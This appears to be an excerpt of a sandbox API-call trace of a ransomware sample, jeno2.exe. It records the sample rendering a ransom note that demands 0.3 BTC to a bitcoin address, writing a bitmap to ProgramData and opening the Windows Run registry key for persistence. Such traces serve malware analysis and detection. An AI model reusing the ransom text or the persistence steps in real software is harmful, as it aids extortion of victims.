(hWnd=0x7011a, Msg=0x5, wParam=0x0, lParam=0xc059c) returned 0x0 [0175.515] GetParent (hWnd=0x7011a) returned 0x30268 [0175.515] GetWindowRect (in: hWnd=0x7011a, lpRect=0x18ebfc | out: lpRect=0x18ebfc) returned 1 [0175.515] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x30268, lpPoints=0x18ebfc, cPoints=0x2 | out: lpPoints=0x18ebfc) returned -10092677 [0175.515] GetParent (hWnd=0x7011a) returned 0x30268 [0175.515] GetParent (hWnd=0x7011a) returned 0x30268 [0175.515] MonitorFromWindow (hwnd=0x7011a, dwFlags=0x2) returned 0x10001 [0175.515] GetMonitorInfoA (in: hMonitor=0x10001, lpmi=0x18ebfc | out: lpmi=0x18ebfc) returned 1 [0175.516] GetParent (hWnd=0x7011a) returned 0x30268 [0175.516] GetWindowRect (in: hWnd=0x7011a, lpRect=0x18ebfc | out: lpRect=0x18ebfc) returned 1 [0175.516] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x30268, lpPoints=0x18ebfc, cPoints=0x2 | out: lpPoints=0x18ebfc) returned -10092677 [0175.516] MoveWindow (hWnd=0x7011a, X=144, Y=16, nWidth=1440, nHeight=900, bRepaint=1) returned 1 [0175.516] NtdllDefWindowProc_A (hWnd=0x7011a, Msg=0x46, wParam=0x0, lParam=0x18eb98) returned 0x0 [0175.516] NtdllDefWindowProc_A (hWnd=0x7011a, Msg=0x83, wParam=0x1, lParam=0x18eb70) returned 0x0 [0175.516] GetParent (hWnd=0x7011a) returned 0x30268 [0175.516] GetWindowRect (in: hWnd=0x7011a, lpRect=0x18e900 | out: lpRect=0x18e900) returned 1 [0175.516] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x30268, lpPoints=0x18e900, cPoints=0x2 | out: lpPoints=0x18e900) returned -10092677 [0175.516] NtdllDefWindowProc_A (hWnd=0x7011a, Msg=0x47, wParam=0x0, lParam=0x18eb98) returned 0x0 [0175.517] NtdllDefWindowProc_A (hWnd=0x7011a, Msg=0x5, wParam=0x0, lParam=0x380059c) returned 0x0 [0175.517] GetParent (hWnd=0x7011a) returned 0x30268 [0175.517] GetWindowRect (in: hWnd=0x7011a, lpRect=0x18ebfc | out: lpRect=0x18ebfc) returned 1 [0175.517] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x30268, lpPoints=0x18ebfc, cPoints=0x2 | out: lpPoints=0x18ebfc) returned -10092677 [0175.517] IsIconic (hWnd=0x7011a) returned 0 [0175.517] GetClientRect (in: hWnd=0x7011a, lpRect=0x18ecd8 | out: lpRect=0x18ecd8) returned 1 [0175.517] IsIconic (hWnd=0x7011a) returned 0 [0175.517] GetClientRect (in: hWnd=0x7011a, lpRect=0x18ecd8 | out: lpRect=0x18ecd8) returned 1 [0175.517] GetClientRect (in: hWnd=0x7011a, lpRect=0x18eca0 | out: lpRect=0x18eca0) returned 1 [0175.517] CreateCompatibleBitmap (hdc=0x270109b8, cx=1436, cy=896) returned 0x1f050254 [0175.536] CreateCompatibleDC (hdc=0x270109b8) returned 0x1501024d [0175.536] SelectObject (hdc=0x1501024d, h=0x1f050254) returned 0x185000f [0175.536] SetBkMode (hdc=0x1501024d, mode=1) returned 2 [0175.536] OleTranslateColor () returned 0x0 [0175.536] SetBkColor (hdc=0x1501024d, color=0xc0c0c0) returned 0xffffff [0175.536] OleTranslateColor () returned 0x0 [0175.536] CreateSolidBrush (color=0xc0c0c0) returned 0xd1001bd [0175.536] FillRect (hDC=0x1501024d, lprc=0x18ec7c, hbr=0xd1001bd) returned 1 [0175.541] OleCreatePictureIndirect () returned 0x0 [0175.543] SelectObject (hdc=0x1501024d, h=0x243007c3) returned 0x1b00017 [0175.543] SelectObject (hdc=0x1501024d, h=0x680a01b8) returned 0x18a002e [0175.543] SelectObject (hdc=0x1501024d, h=0x1900011) returned 0x1900010 [0175.543] SetBrushOrgEx (in: hdc=0x1501024d, x=0, y=0, lppt=0x0 | out: lppt=0x0) returned 1 [0175.543] UnrealizeObject (h=0x1900015) returned 1 [0175.543] SelectObject (hdc=0x1501024d, h=0x1900015) returned 0x1900011 [0175.543] SetBkMode (hdc=0x1501024d, mode=1) returned 1 [0175.543] OleTranslateColor () returned 0x0 [0175.543] SetBkColor (hdc=0x1501024d, color=0xc0c0c0) returned 0xc0c0c0 [0175.543] OleTranslateColor () returned 0x0 [0175.543] SetTextColor (hdc=0x1501024d, color=0x0) returned 0x0 [0175.543] GetROP2 (hdc=0x270109b8) returned 13 [0175.543] SetROP2 (hdc=0x1501024d, rop2=13) returned 13 [0175.543] SelectObject (hdc=0x270109b8, h=0x1b00016) returned 0x243007c3 [0175.543] SelectObject (hdc=0x270109b8, h=0x18a002e) returned 0x680a01b8 [0175.543] SelectObject (hdc=0x270109b8, h=0x1900015) returned 0x1900015 [0175.543] SelectPalette (hdc=0x270109b8, hPal=0x188000b, bForceBkgd=1) returned 0x188000b [0175.543] OleTranslateColor () returned 0x0 [0175.543] OleTranslateColor () returned 0x0 [0175.543] UnrealizeObject (h=0xd1001bd) returned 1 [0175.543] OleTranslateColor () returned 0x0 [0175.543] OleTranslateColor () returned 0x0 [0175.543] SetTextColor (hdc=0x1501024d, color=0x0) returned 0x0 [0175.544] SetBkColor (hdc=0x1501024d, color=0xc0c0c0) returned 0xc0c0c0 [0175.544] FillRect (hDC=0x1501024d, lprc=0x18eca0, hbr=0xd1001bd) returned 1 [0175.544] SetTextColor (hdc=0x1501024d, color=0x0) returned 0x0 [0175.544] SetBkColor (hdc=0x1501024d, color=0xc0c0c0) returned 0xc0c0c0 [0175.544] CallWindowProcA (lpPrevWndFunc=0x77cbabb2, hWnd=0x5028a, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x18a [0175.544] GetFocus () returned 0x40298 [0175.544] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0x18b) returned 0x383f440 [0175.544] CallWindowProcA (lpPrevWndFunc=0x77cbabb2, hWnd=0x5028a, Msg=0xd, wParam=0x18b, lParam=0x383f440) returned 0x18a [0175.544] GetFocus () returned 0x40298 [0175.545] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x383f440, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 395 [0175.545] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x383f440, cbMultiByte=-1, lpWideCharStr=0x14e628c, cchWideChar=395 | out: lpWideCharStr="\r\n\r\n\r\n\r\n\r\n\r\n!! ATTENTION !!\r\n\r\n\r\nYOUR FILES HAVE BEEN ENCRYPTED!\r\n\r\n\r\nAll of your documents, photos, databases and other important files have been encrypted with RSA encryption.\r\n\r\nYou will not be able to recover your files without the private key which has been saved on our server.\r\n\r\nAn antivirus can not recover your files.\r\n\r\nView the file \"Decryption Notes\" on your Desktop to fix this.\r\n") returned 395 [0175.545] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383f440 | out: hHeap=0x3820000) returned 1 [0175.545] CallWindowProcA (lpPrevWndFunc=0x77cbabb2, hWnd=0x40292, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x22 [0175.545] GetFocus () returned 0x40298 [0175.545] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0x23) returned 0x383baf8 [0175.545] CallWindowProcA (lpPrevWndFunc=0x77cbabb2, hWnd=0x40292, Msg=0xd, wParam=0x23, lParam=0x383baf8) returned 0x22 [0175.545] GetFocus () returned 0x40298 [0175.545] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x383baf8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 35 [0175.545] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x383baf8, cbMultiByte=-1, lpWideCharStr=0x144265c, cchWideChar=35 | out: lpWideCharStr="1MZJgjrDz6h6TPwRAxuh1gEWh2AETrNBAy") returned 35 [0175.545] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383baf8 | out: hHeap=0x3820000) returned 1 [0175.545] SysStringLen (param_1="\r\n\r\n\r\n\r\n\r\n\r\n!! ATTENTION !!\r\n\r\n\r\nYOUR FILES HAVE BEEN ENCRYPTED!\r\n\r\n\r\nAll of your documents, photos, databases and other important files have been encrypted with RSA encryption.\r\n\r\nYou will not be able to recover your files without the private key which has been saved on our server.\r\n\r\nAn antivirus can not recover your files.\r\n\r\nView the file \"Decryption Notes\" on your Desktop to fix this.\r\n\r\n\r\nSend 0.3 BTC To: 1MZJgjrDz6h6TPwRAxuh1gEWh2AETrNBAy") returned 0x1c1 [0175.545] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\r\n\r\n\r\n\r\n\r\n\r\n!! ATTENTION !!\r\n\r\n\r\nYOUR FILES HAVE BEEN ENCRYPTED!\r\n\r\n\r\nAll of your documents, photos, databases and other important files have been encrypted with RSA encryption.\r\n\r\nYou will not be able to recover your files without the private key which has been saved on our server.\r\n\r\nAn antivirus can not recover your files.\r\n\r\nView the file \"Decryption Notes\" on your Desktop to fix this.\r\n\r\n\r\nSend 0.3 BTC To: 1MZJgjrDz6h6TPwRAxuh1gEWh2AETrNBAy", cchWideChar=449, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 449 [0175.545] SysStringLen (param_1="\r\n\r\n\r\n\r\n\r\n\r\n!! ATTENTION !!\r\n\r\n\r\nYOUR FILES HAVE BEEN ENCRYPTED!\r\n\r\n\r\nAll of your documents, photos, databases and other important files have been encrypted with RSA encryption.\r\n\r\nYou will not be able to recover your files without the private key which has been saved on our server.\r\n\r\nAn antivirus can not recover your files.\r\n\r\nView the file \"Decryption Notes\" on your Desktop to fix this.\r\n\r\n\r\nSend 0.3 BTC To: 1MZJgjrDz6h6TPwRAxuh1gEWh2AETrNBAy") returned 0x1c1 [0175.545] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\r\n\r\n\r\n\r\n\r\n\r\n!! ATTENTION !!\r\n\r\n\r\nYOUR FILES HAVE BEEN ENCRYPTED!\r\n\r\n\r\nAll of your documents, photos, databases and other important files have been encrypted with RSA encryption.\r\n\r\nYou will not be able to recover your files without the private key which has been saved on our server.\r\n\r\nAn antivirus can not recover your files.\r\n\r\nView the file \"Decryption Notes\" on your Desktop to fix this.\r\n\r\n\r\nSend 0.3 BTC To: 1MZJgjrDz6h6TPwRAxuh1gEWh2AETrNBAy", cchWideChar=450, lpMultiByteStr=0x53b6a84, cbMultiByte=450, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n\r\n\r\n\r\n\r\n\r\n!! ATTENTION !!\r\n\r\n\r\nYOUR FILES HAVE BEEN ENCRYPTED!\r\n\r\n\r\nAll of your documents, photos, databases and other important files have been encrypted with RSA encryption.\r\n\r\nYou will not be able to recover your files without the private key which has been saved on our server.\r\n\r\nAn antivirus can not recover your files.\r\n\r\nView the file \"Decryption Notes\" on your Desktop to fix this.\r\n\r\n\r\nSend 0.3 BTC To: 1MZJgjrDz6h6TPwRAxuh1gEWh2AETrNBAy", lpUsedDefaultChar=0x0) returned 450 [0175.545] SetErrorMode (uMode=0x8001) returned 0x8001 [0175.546] LoadLibraryA (lpLibFileName="user32") returned 0x77130000 [0175.546] SetErrorMode (uMode=0x8001) returned 0x8001 [0175.546] GetProcAddress (hModule=0x77130000, lpProcName="DrawTextA") returned 0x7715aea1 [0175.546] DrawTextA (in: hdc=0x1501024d, lpchText="\r\n\r\n\r\n\r\n\r\n\r\n!! ATTENTION !!\r\n\r\n\r\nYOUR FILES HAVE BEEN ENCRYPTED!\r\n\r\n\r\nAll of your documents, photos, databases and other important files have been encrypted with RSA encryption.\r\n\r\nYou will not be able to recover your files without the private key which has been saved on our server.\r\n\r\nAn antivirus can not recover your files.\r\n\r\nView the file \"Decryption Notes\" on your Desktop to fix this.\r\n\r\n\r\nSend 0.3 BTC To: 1MZJgjrDz6h6TPwRAxuh1gEWh2AETrNBAy", cchText=-1, lprc=0x18ef6c, format=0x1 | out: lpchText="\r\n\r\n\r\n\r\n\r\n\r\n!! ATTENTION !!\r\n\r\n\r\nYOUR FILES HAVE BEEN ENCRYPTED!\r\n\r\n\r\nAll of your documents, photos, databases and other important files have been encrypted with RSA encryption.\r\n\r\nYou will not be able to recover your files without the private key which has been saved on our server.\r\n\r\nAn antivirus can not recover your files.\r\n\r\nView the file \"Decryption Notes\" on your Desktop to fix this.\r\n\r\n\r\nSend 0.3 BTC To: 1MZJgjrDz6h6TPwRAxuh1gEWh2AETrNBAy", lprc=0x18ef6c) returned 462 [0175.588] GetLastError () returned 0x0 [0175.588] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SystemDrive", cchWideChar=12, lpMultiByteStr=0x18ecb4, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SystemDrive", lpUsedDefaultChar=0x0) returned 12 [0175.588] CompareStringA (Locale=0x0, dwCmpFlags=0x1, lpString1="LOGONSERVER=\\\\XDUWTFONO", cchCount1=11, lpString2="SystemDrive", cchCount2=11) returned 1 [0175.588] CompareStringA (Locale=0x0, dwCmpFlags=0x1, lpString1="ProgramData=C:\\ProgramData", cchCount1=11, lpString2="SystemDrive", cchCount2=11) returned 1 [0175.588] CompareStringA (Locale=0x0, dwCmpFlags=0x1, lpString1="SystemDrive=C:", cchCount1=11, lpString2="SystemDrive", cchCount2=11) returned 2 [0175.588] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2d4076c, cbMultiByte=3, lpWideCharStr=0x14f5e54, cchWideChar=6 | out: lpWideCharStr="C:") returned 3 [0175.588] SysReAllocStringLen (in: pbstr=0x18ed44*="C:", psz=0x0, len=0x2 | out: pbstr=0x18ed44*="C:") returned 1 [0175.588] VarCat (in: pvarLeft=0x18ef18, pvarRight=0x18eeb8, pvarResult=0x18ef08 | out: pvarResult=0x18ef08) returned 0x0 [0175.588] InvalidateRect (hWnd=0x7011a, lpRect=0x0, bErase=1) returned 1 [0175.590] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\ProgramData\\1.bmp", cchWideChar=-1, lpMultiByteStr=0x18ed18, cbMultiByte=41, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\ProgramData\\1.bmp", lpUsedDefaultChar=0x0) returned 21 [0175.590] lstrcpynA (in: lpString1=0x18ec08, lpString2="C:\\ProgramData\\1.bmp", iMaxLength=260 | out: lpString1="C:\\ProgramData\\1.bmp") returned="C:\\ProgramData\\1.bmp" [0175.590] lstrlenA (lpString="C:\\ProgramData\\1.bmp") returned 20 [0175.590] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0x15) returned 0x383ec78 [0175.590] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0x15) returned 0x383ec98 [0175.590] lstrcpyA (in: lpString1=0x383ec78, lpString2="C:\\ProgramData\\1.bmp" | out: lpString1="C:\\ProgramData\\1.bmp") returned="C:\\ProgramData\\1.bmp" [0175.590] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x140) returned 0x383f440 [0175.590] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x10) returned 0x3832f50 [0175.590] lstrcpynA (in: lpString1=0x18eac4, lpString2="C:\\ProgramData\\1.bmp", iMaxLength=260 | out: lpString1="C:\\ProgramData\\1.bmp") returned="C:\\ProgramData\\1.bmp" [0175.590] lstrlenA (lpString="C:\\ProgramData\\1.bmp") returned 20 [0175.590] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0x15) returned 0x383ecb8 [0175.590] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0x15) returned 0x383ecd8 [0175.590] lstrcpyA (in: lpString1=0x383ecb8, lpString2="C:\\ProgramData\\1.bmp" | out: lpString1="C:\\ProgramData\\1.bmp") returned="C:\\ProgramData\\1.bmp" [0175.591] lstrcpyA (in: lpString1=0x383ecd8, lpString2="C:\\ProgramData\\1.bmp" | out: lpString1="C:\\ProgramData\\1.bmp") returned="C:\\ProgramData\\1.bmp" [0175.591] SetLastError (dwErrCode=0x0) [0175.591] SearchPathA (in: lpPath=0x0, lpFileName="C:\\ProgramData\\1.bmp", lpExtension=0x0, nBufferLength=0x103, lpBuffer=0x383f470, lpFilePart=0x18ebc4 | out: lpBuffer="", lpFilePart=0x18ebc4*="\x8b\x06^ÃU\x8bìQV\x8bñ3ÉW\x8bF\x04;Át%9N\x08u \x8dUüQRQQP\x8bÎè\x9biûÿÿuüÿ6ÿ\x15|\x12\x94r\x8b\x06_^Éÿñ\x99\x95r\x83Éÿ3Àò®÷Ñ+ù¸|\x07¥r\x8bÑ\x8b÷\x8bøÁé\x02ó¥\x8bÊ\x83á\x03ó¤ëÓU\x8bìQQV\x8bñW\x8bF\x04…Àt>\x83~\x08") returned 0x0 [0175.591] GetFullPathNameA (in: lpFileName="C:\\ProgramData\\1.bmp", nBufferLength=0x103, lpBuffer=0x383f470, lpFilePart=0x18ebc4 | out: lpBuffer="C:\\ProgramData\\1.bmp", lpFilePart=0x18ebc4*="1.bmp") returned 0x14 [0175.591] CreateFileA (lpFileName="C:\\ProgramData\\1.bmp" (normalized: "c:\\programdata\\1.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x724 [0175.592] GetLastError () returned 0x0 [0175.592] lstrcpynA (in: lpString1=0x18ead0, lpString2="C:\\ProgramData\\1.bmp", iMaxLength=260 | out: lpString1="C:\\ProgramData\\1.bmp") returned="C:\\ProgramData\\1.bmp" [0175.592] lstrlenA (lpString="C:\\ProgramData\\1.bmp") returned 20 [0175.592] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0x15) returned 0x383ecf8 [0175.592] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0x15) returned 0x383ed18 [0175.592] lstrcpyA (in: lpString1=0x383ecf8, lpString2="C:\\ProgramData\\1.bmp" | out: lpString1="C:\\ProgramData\\1.bmp") returned="C:\\ProgramData\\1.bmp" [0175.593] GetFileType (hFile=0x724) returned 0x1 [0175.593] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ecd8 | out: hHeap=0x3820000) returned 1 [0175.593] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ecb8 | out: hHeap=0x3820000) returned 1 [0175.635] _hwrite (in: hFile=0x724, lpBuffer=0x18ec98*, lBytes=14 | out: lpBuffer=0x18ec98*) returned 14 [0175.636] _hwrite (in: hFile=0x724, lpBuffer=0x4e90020*, lBytes=3860008 | out: lpBuffer=0x4e90020*) returned 3860008 [0175.812] _lclose (hFile=0x724) returned 0x0 [0175.922] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ed18 | out: hHeap=0x3820000) returned 1 [0175.922] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ecf8 | out: hHeap=0x3820000) returned 1 [0175.922] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f50 | out: hHeap=0x3820000) returned 1 [0175.922] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383f440 | out: hHeap=0x3820000) returned 1 [0175.922] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ec98 | out: hHeap=0x3820000) returned 1 [0175.922] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ec78 | out: hHeap=0x3820000) returned 1 [0175.923] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0175.923] IMalloc:Alloc (This=0x767666bc, cb=0x68) returned 0x142e1e0 [0175.923] GetLocalTime (in: lpSystemTime=0x18eab8 | out: lpSystemTime=0x18eab8*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0x0, wMilliseconds=0x11b)) [0175.923] VarCmp (pvarLeft=0x18eb60, pvarRight=0x18eb1c, lcid=0x0, dwFlags=0x30001) returned 0x2 [0175.924] GetLocalTime (in: lpSystemTime=0x18eab4 | out: lpSystemTime=0x18eab4*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0x0, wMilliseconds=0x11b)) [0175.924] VarCmp (pvarLeft=0x18eb5c, pvarRight=0x18eb18, lcid=0x0, dwFlags=0x30001) returned 0x2 [0175.924] GetLocalTime (in: lpSystemTime=0x18eab4 | out: lpSystemTime=0x18eab4*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0x0, wMilliseconds=0x11b)) [0175.924] VarCmp (pvarLeft=0x18eb5c, pvarRight=0x18eb18, lcid=0x0, dwFlags=0x30001) returned 0x1 [0175.924] GetLocalTime (in: lpSystemTime=0x18eab4 | out: lpSystemTime=0x18eab4*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0x0, wMilliseconds=0x11b)) [0175.925] VarCmp (pvarLeft=0x18eb5c, pvarRight=0x18eb18, lcid=0x0, dwFlags=0x30001) returned 0x2 [0175.925] GetLocalTime (in: lpSystemTime=0x18eab4 | out: lpSystemTime=0x18eab4*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0x0, wMilliseconds=0x11b)) [0175.925] VarCmp (pvarLeft=0x18eb5c, pvarRight=0x18eb18, lcid=0x0, dwFlags=0x30001) returned 0x2 [0175.925] GetLocalTime (in: lpSystemTime=0x18eab4 | out: lpSystemTime=0x18eab4*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0x0, wMilliseconds=0x11b)) [0175.925] VarCmp (pvarLeft=0x18eb5c, pvarRight=0x18eb18, lcid=0x0, dwFlags=0x30001) returned 0x2 [0175.926] GetLocalTime (in: lpSystemTime=0x18eab4 | out: lpSystemTime=0x18eab4*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0x0, wMilliseconds=0x11b)) [0175.926] VarCmp (pvarLeft=0x18eb5c, pvarRight=0x18eb18, lcid=0x0, dwFlags=0x30001) returned 0x2 [0175.926] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18eb6c, cbMultiByte=1, lpWideCharStr=0x145246c, cchWideChar=1 | out: lpWideCharStr="\"") returned 1 [0175.926] GetModuleFileNameA (in: hModule=0x400000, lpFilename=0x18e9f4, nSize=0x104 | out: lpFilename="C:\\ProgramData\\jeno2.exe" (normalized: "c:\\programdata\\jeno2.exe")) returned 0x18 [0175.926] lstrcpynA (in: lpString1=0x18e8e0, lpString2="C:\\ProgramData\\jeno2.exe", iMaxLength=260 | out: lpString1="C:\\ProgramData\\jeno2.exe") returned="C:\\ProgramData\\jeno2.exe" [0175.926] lstrlenA (lpString="C:\\ProgramData\\jeno2.exe") returned 24 [0175.927] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0x19) returned 0x383f440 [0175.927] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0x19) returned 0x383f468 [0175.927] lstrcpyA (in: lpString1=0x383f440, lpString2="C:\\ProgramData\\jeno2.exe" | out: lpString1="C:\\ProgramData\\jeno2.exe") returned="C:\\ProgramData\\jeno2.exe" [0175.927] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383f468 | out: hHeap=0x3820000) returned 1 [0175.927] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383f440 | out: hHeap=0x3820000) returned 1 [0175.927] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3832f50, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 15 [0175.928] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3832f50, cbMultiByte=-1, lpWideCharStr=0x1433584, cchWideChar=15 | out: lpWideCharStr="C:\\ProgramData") returned 15 [0175.928] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f50 | out: hHeap=0x3820000) returned 1 [0175.928] GetModuleFileNameA (in: hModule=0x400000, lpFilename=0x18e9f4, nSize=0x104 | out: lpFilename="C:\\ProgramData\\jeno2.exe" (normalized: "c:\\programdata\\jeno2.exe")) returned 0x18 [0175.928] lstrcpynA (in: lpString1=0x18e8e0, lpString2="C:\\ProgramData\\jeno2.exe", iMaxLength=260 | out: lpString1="C:\\ProgramData\\jeno2.exe") returned="C:\\ProgramData\\jeno2.exe" [0175.928] lstrlenA (lpString="C:\\ProgramData\\jeno2.exe") returned 24 [0175.928] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0x19) returned 0x383f440 [0175.928] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0x19) returned 0x383f468 [0175.928] lstrcpyA (in: lpString1=0x383f440, lpString2="C:\\ProgramData\\jeno2.exe" | out: lpString1="C:\\ProgramData\\jeno2.exe") returned="C:\\ProgramData\\jeno2.exe" [0175.928] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383f468 | out: hHeap=0x3820000) returned 1 [0175.928] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383f440 | out: hHeap=0x3820000) returned 1 [0175.928] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x383e150, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0175.928] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x383e150, cbMultiByte=-1, lpWideCharStr=0x14f5e2c, cchWideChar=6 | out: lpWideCharStr="jeno2") returned 6 [0175.928] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383e150 | out: hHeap=0x3820000) returned 1 [0175.928] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18eb6c, cbMultiByte=1, lpWideCharStr=0x14f560c, cchWideChar=1 | out: lpWideCharStr="\"") returned 1 [0175.928] VarCat (in: pvarLeft=0x18ecdc, pvarRight=0x18eccc, pvarResult=0x18ecbc | out: pvarResult=0x18ecbc) returned 0x0 [0175.928] VarCat (in: pvarLeft=0x18ecbc, pvarRight=0x18ec3c, pvarResult=0x18ecac | out: pvarResult=0x18ecac) returned 0x0 [0175.928] VarCat (in: pvarLeft=0x18ecac, pvarRight=0x18ec9c, pvarResult=0x18ec8c | out: pvarResult=0x18ec8c) returned 0x0 [0175.928] VarCat (in: pvarLeft=0x18ec8c, pvarRight=0x18ec2c, pvarResult=0x18ec7c | out: pvarResult=0x18ec7c) returned 0x0 [0175.928] VarCat (in: pvarLeft=0x18ec7c, pvarRight=0x18ec6c, pvarResult=0x18ec5c | out: pvarResult=0x18ec5c) returned 0x0 [0175.928] VarCat (in: pvarLeft=0x18ec5c, pvarRight=0x18ec1c, pvarResult=0x18ec4c | out: pvarResult=0x18ec4c) returned 0x0 [0175.929] SysStringLen (param_1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run") returned 0x2d [0175.929] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", cchWideChar=45, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 45 [0175.929] SysStringLen (param_1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run") returned 0x2d [0175.929] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", cchWideChar=46, lpMultiByteStr=0x14b4f74, cbMultiByte=46, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", lpUsedDefaultChar=0x0) returned 46 [0175.929] SetErrorMode (uMode=0x8001) returned 0x8001 [0175.929] LoadLibraryA (lpLibFileName="advapi32.dll") returned 0x77710000 [0175.929] SetErrorMode (uMode=0x8001) returned 0x8001 [0175.929] GetProcAddress (hModule=0x77710000, lpProcName="RegOpenKeyA") returned 0x7771cc15 [0175.929] RegOpenKeyA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", phkResult=0x18eb4c | out: phkResult=0x18eb4c*=0x724) returned 0x0 [0175.929] GetLastError () returned 0x0 [0175.930] SysStringByteLen (bstr="体呆䅗䕒䵜捩潲潳瑦坜湩潤獷䍜牵敲瑮敖獲潩屮畒n") returned 0x2d [0175.930] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x14b4f74, cbMultiByte=45, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 45 [0175.930] 